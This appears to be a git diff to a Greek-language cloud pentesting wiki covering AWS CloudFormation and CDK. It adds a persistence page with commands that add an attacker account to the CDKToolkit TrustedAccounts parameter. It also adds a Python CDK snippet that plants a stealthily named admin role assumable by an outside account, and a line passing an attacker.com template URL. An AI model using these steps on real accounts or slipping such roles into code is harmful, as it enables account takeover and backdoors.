diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5939f1183..a470914ae 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -211,6 +211,7 @@ - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) + - [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md new file mode 100644 index 000000000..12fb28943 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## CloudFormation + +Για περισσότερες πληροφορίες, επισκεφθείτε: + +{{#ref}} +../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +Ο AWS CDK αναπτύσσει ένα CFN stack που ονομάζεται `CDKToolkit`. Αυτό το stack υποστηρίζει μια παράμετρο `TrustedAccounts` που επιτρέπει σε εξωτερικούς λογαριασμούς να αναπτύσσουν έργα CDK στον λογαριασμό του θύματος. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να αποκτήσει απεριόριστη πρόσβαση στον λογαριασμό του θύματος, είτε χρησιμοποιώντας το AWS cli για να αναπτύξει ξανά το stack με παραμέτρους, είτε το AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index fbea17a47..a475e9432 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ --role-arn ``` -Στη συνέχεια έχετε ένα **παράδειγμα εκμετάλλευσης** με την επιπλέον άδεια **`cloudformation:DescribeStacks`**: +Στην παρακάτω σελίδα έχετε ένα **παράδειγμα εκμετάλλευσης** με την επιπλέον άδεια **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -43,17 +43,17 @@ aws cloudformation update-stack \ ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Εάν έχετε αυτή την άδεια αλλά **όχι `iam:PassRole`**, μπορείτε ακόμα να **ενημερώσετε τα stacks** που χρησιμοποιούνται και να εκμεταλλευτείτε τους **IAM Ρόλους που έχουν ήδη συσχετιστεί**. Ελέγξτε την προηγούμενη ενότητα για παράδειγμα εκμετάλλευσης (απλά μην υποδείξετε κανέναν ρόλο στην ενημέρωση). +Εάν έχετε αυτή την άδεια αλλά **όχι `iam:PassRole`**, μπορείτε ακόμα να **ενημερώσετε τα stacks** που χρησιμοποιούνται και να εκμεταλλευτείτε τους **IAM Ρόλους που έχουν ήδη συνημμένα**. Ελέγξτε την προηγούμενη ενότητα για παράδειγμα εκμετάλλευσης (απλά μην υποδείξετε κανέναν ρόλο στην ενημέρωση). Η άδεια `cloudformation:SetStackPolicy` μπορεί να χρησιμοποιηθεί για να **δώσετε στον εαυτό σας άδεια `UpdateStack`** πάνω σε ένα stack και να εκτελέσετε την επίθεση. -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας cloudformation που έχει ήδη συσχετιστεί. +**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας cloudformation που είναι ήδη συνημμένος. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Ένας επιτιθέμενος με άδειες να **περάσει έναν ρόλο και να δημιουργήσει & εκτελέσει ένα ChangeSet** μπορεί να **δημιουργήσει/ενημερώσει ένα νέο cloudformation stack και να εκμεταλλευτεί τους ρόλους υπηρεσίας cloudformation** ακριβώς όπως με το CreateStack ή UpdateStack. +Ένας επιτιθέμενος με άδειες να **περάσει έναν ρόλο και να δημιουργήσει & εκτελέσει ένα ChangeSet** μπορεί να **δημιουργήσει/ενημερώσει ένα νέο cloudformation stack και να εκμεταλλευτεί τους ρόλους υπηρεσίας cloudformation** όπως με το CreateStack ή UpdateStack. -Η παρακάτω εκμετάλλευση είναι μια **παραλλαγή της**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) χρησιμοποιώντας τις **άδειες ChangeSet** για να δημιουργήσει ένα stack. +Η παρακάτω εκμετάλλευση είναι μια **παραλλαγή της**[ **CreateStack**](#iam-passrole-cloudformation-createstack) χρησιμοποιώντας τις **άδειες ChangeSet** για να δημιουργήσει ένα stack. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -85,11 +85,11 @@ aws cloudformation describe-stacks \ ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Αυτό είναι όπως η προηγούμενη μέθοδος χωρίς να περάσετε **ρόλους IAM**, οπότε μπορείτε απλά να **καταχραστείτε αυτούς που είναι ήδη συνδεδεμένοι**, απλά τροποποιήστε την παράμετρο: +Αυτό είναι όπως η προηγούμενη μέθοδος χωρίς να περάσετε **IAM ρόλους**, οπότε μπορείτε απλά να **καταχραστείτε αυτούς που είναι ήδη συνδεδεμένοι**, απλά τροποποιήστε την παράμετρο: ``` --change-set-type UPDATE ``` -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας cloudformation που είναι ήδη συνδεδεμένος. +**Πιθανές Επιπτώσεις:** Privesc στο ρόλο υπηρεσίας cloudformation που έχει ήδη προσαρτηθεί. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) @@ -99,12 +99,57 @@ aws cloudformation describe-stacks \ ### `cloudformation:UpdateStackSet` -Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την άδεια χωρίς την άδεια passRole για να ενημερώσει StackSets για να εκμεταλλευτεί τους συνδεδεμένους ρόλους cloudformation. +Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την άδεια χωρίς την άδεια passRole για να ενημερώσει StackSets για να εκμεταλλευτεί τους προσαρτημένους ρόλους cloudformation. -**Πιθανές Επιπτώσεις:** Privesc στους συνδεδεμένους ρόλους cloudformation. +**Πιθανές Επιπτώσεις:** Privesc στους προσαρτημένους ρόλους cloudformation. +## AWS CDK + +Το AWS cdk είναι ένα εργαλείο που επιτρέπει στους χρήστες να ορίζουν την υποδομή τους ως κώδικα σε γλώσσες που ήδη γνωρίζουν, καθώς και να επαναχρησιμοποιούν εύκολα τμήματα. Το CDK στη συνέχεια μετατρέπει τον υψηλού επιπέδου κώδικα (π.χ. python) σε πρότυπα Cloudformation (yaml ή json). + +Για να χρησιμοποιήσετε το CDK, ένας διαχειριστικός χρήστης πρέπει πρώτα να εκκινήσει τον λογαριασμό, ο οποίος δημιουργεί αρκετούς ρόλους IAM, συμπεριλαμβανομένου του *exec role*, ο οποίος έχει \*/\* άδειες. Αυτοί οι ρόλοι ακολουθούν τη δομή ονοματοδοσίας `cdk----`. Η εκκίνηση πρέπει να γίνει μία φορά ανά περιοχή ανά λογαριασμό. + +Από προεπιλογή, οι χρήστες CDK δεν έχουν πρόσβαση για να καταγράψουν τους ρόλους που απαιτούνται για τη χρήση του CDK, πράγμα που σημαίνει ότι θα χρειαστεί να τους προσδιορίσετε χειροκίνητα. Εάν παραβιάσετε μια μηχανή προγραμματιστή ή κάποιο κόμβο CI/CD, αυτοί οι ρόλοι μπορούν να υποτεθούν για να σας δώσουν τη δυνατότητα να αναπτύξετε πρότυπα CFN, χρησιμοποιώντας τον ρόλο `cfn-exec` για να επιτρέψετε στο CFN να αναπτύξει οποιουσδήποτε πόρους, πλήρως παραβιάζοντας τον λογαριασμό. + +### Προσδιορισμός των ονομάτων ρόλων + +Εάν έχετε `cloudformation:DescribeStacks`, οι ρόλοι ορίζονται σε ένα stack που ονομάζεται `CDKToolkit`, και μπορείτε να τραβήξετε τα ονόματα από εκεί. + +Εάν βρίσκεστε σε μια μηχανή που έχει χρησιμοποιηθεί για την κατασκευή και ανάπτυξη έργων CDK, μπορείτε να τα τραβήξετε από το `cdk.out/manafest.json` στον ριζικό κατάλογο των έργων. + +Μπορείτε επίσης να κάνετε μια καλή εκτίμηση για το ποιοι είναι. Το `qualifier` είναι μια συμβολοσειρά που προστίθεται στους ρόλους επιτρέποντας την ανάπτυξη πολλαπλών περιπτώσεων της εκκίνησης CDK ταυτόχρονα, ωστόσο η προεπιλεγμένη τιμή είναι σκληρά κωδικοποιημένη σε `hnb659fds`. +``` +# Defaults +cdk-hnb659fds-cfn-exec-role-- +cdk-hnb659fds-deploy-role-- +cdk-hnb659fds-file-publishing-role-- +cdk-hnb659fds-image-publishing-role-- +cdk-hnb659fds-lookup-role-- +``` +### Προσθήκη κακόβουλου κώδικα στην πηγή του έργου + +Αν μπορείτε να γράψετε στην πηγή του έργου, αλλά δεν μπορείτε να το αναπτύξετε μόνοι σας (για παράδειγμα, ο προγραμματιστής αναπτύσσει τον κώδικα μέσω CI/CD, όχι από το τοπικό μηχάνημα), μπορείτε να συμβιβάσετε το περιβάλλον προσθέτοντας κακόβουλους πόρους στο stack. Το παρακάτω προσθέτει έναν ρόλο IAM που μπορεί να αναληφθεί από έναν λογαριασμό επιτιθέμενου σε ένα έργο python CDK. +```python +class CdkTestStack(Stack): +def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: +super().__init__(scope, construct_id, **kwargs) + +# ---------- +# Some existing code..... +# ---------- + +role = iam.Role( +self, +"cdk-backup-role", # Role name, make it something subtle +assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role +managed_policies=[ +iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess +], +) +``` ## Αναφορές - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 00065bc0b..65baeb7a2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -Η υπηρεσία AWS CloudFormation έχει σχεδιαστεί για να **απλοποιεί τη διαχείριση των πόρων AWS**. Επιτρέπει στους χρήστες να επικεντρώνονται περισσότερο στις εφαρμογές τους που εκτελούνται στο AWS, **ελαχιστοποιώντας τον χρόνο που δαπανάται στη διαχείριση πόρων**. Η βασική δυνατότητα αυτής της υπηρεσίας είναι το **πρότυπο**—ένα περιγραφικό μοντέλο των επιθυμητών πόρων AWS. Μόλις παρασχεθεί αυτό το πρότυπο, το CloudFormation είναι υπεύθυνο για την **παροχή και τη διαμόρφωση** των καθορισμένων πόρων. Αυτή η αυτοματοποίηση διευκολύνει μια πιο αποδοτική και χωρίς σφάλματα διαχείριση της υποδομής AWS. +Η υπηρεσία AWS CloudFormation έχει σχεδιαστεί για να **απλοποιεί τη διαχείριση των πόρων AWS**. Επιτρέπει στους χρήστες να επικεντρώνονται περισσότερο στις εφαρμογές τους που εκτελούνται στο AWS, **ελαχιστοποιώντας τον χρόνο που δαπανάται στη διαχείριση πόρων**. Η κύρια δυνατότητα αυτής της υπηρεσίας είναι το **πρότυπο**—ένα περιγραφικό μοντέλο των επιθυμητών πόρων AWS. Μόλις παρασχεθεί αυτό το πρότυπο, το CloudFormation είναι υπεύθυνο για την **παροχή και τη διαμόρφωση** των καθορισμένων πόρων. Αυτή η αυτοματοποίηση διευκολύνει μια πιο αποδοτική και χωρίς σφάλματα διαχείριση της υποδομής AWS. ### Enumeration ```bash @@ -31,19 +31,25 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ``` ### Privesc -Στη συνέχεια σελίδα μπορείτε να ελέγξετε πώς να **καταχραστείτε τις άδειες cloudformation για να κλιμακώσετε τα προνόμια**: +Στην παρακάτω σελίδα μπορείτε να ελέγξετε πώς να **καταχραστείτε τις άδειες cloudformation για να κλιμακώσετε τα προνόμια**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ {{#endref}} +### Persistence + +{{#ref}} +../aws-persistence/aws-cloudformation-persistence.md +{{#endref}} + ### Post-Exploitation -Ελέγξτε για **μυστικά** ή ευαίσθητες πληροφορίες στο **πρότυπο, παραμέτρους & έξοδο** κάθε CloudFormation +Ελέγξτε για **μυστικά** ή ευαίσθητες πληροφορίες στο **template, parameters & output** κάθε CloudFormation ## Codestar -AWS CodeStar είναι μια υπηρεσία για τη δημιουργία, διαχείριση και εργασία με έργα ανάπτυξης λογισμικού στο AWS. Μπορείτε να αναπτύξετε, κατασκευάσετε και αναπτύξετε εφαρμογές στο AWS γρήγορα με ένα έργο AWS CodeStar. Ένα έργο AWS CodeStar δημιουργεί και **ενσωματώνει τις υπηρεσίες AWS** για την αλυσίδα εργαλείων ανάπτυξης του έργου σας. Ανάλογα με την επιλογή σας για το πρότυπο έργου AWS CodeStar, αυτή η αλυσίδα εργαλείων μπορεί να περιλαμβάνει έλεγχο πηγής, κατασκευή, ανάπτυξη, εικονικούς διακομιστές ή πόρους χωρίς διακομιστές, και άλλα. Το AWS CodeStar επίσης **διαχειρίζεται τις άδειες που απαιτούνται για τους χρήστες του έργου** (που ονομάζονται μέλη της ομάδας). +AWS CodeStar είναι μια υπηρεσία για τη δημιουργία, διαχείριση και εργασία με έργα ανάπτυξης λογισμικού στο AWS. Μπορείτε γρήγορα να αναπτύξετε, κατασκευάσετε και αναπτύξετε εφαρμογές στο AWS με ένα έργο AWS CodeStar. Ένα έργο AWS CodeStar δημιουργεί και **ενσωματώνει τις υπηρεσίες AWS** για την αλυσίδα εργαλείων ανάπτυξης του έργου σας. Ανάλογα με την επιλογή σας για το πρότυπο έργου AWS CodeStar, αυτή η αλυσίδα εργαλείων μπορεί να περιλαμβάνει έλεγχο πηγής, κατασκευή, ανάπτυξη, εικονικούς διακομιστές ή πόρους χωρίς διακομιστές, και άλλα. Το AWS CodeStar επίσης **διαχειρίζεται τις άδειες που απαιτούνται για τους χρήστες του έργου** (που ονομάζονται μέλη της ομάδας). ### Enumeration ```bash @@ -58,7 +64,7 @@ aws codestar describe-user-profile --user-arn ``` ### Privesc -Στη συνέχεια σελίδα μπορείτε να δείτε πώς να **καταχραστείτε τις άδειες του codestar για να κλιμακώσετε τα προνόμια**: +Στην παρακάτω σελίδα μπορείτε να δείτε πώς να **καταχραστείτε τις άδειες του codestar για να κλιμακώσετε τα προνόμια**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/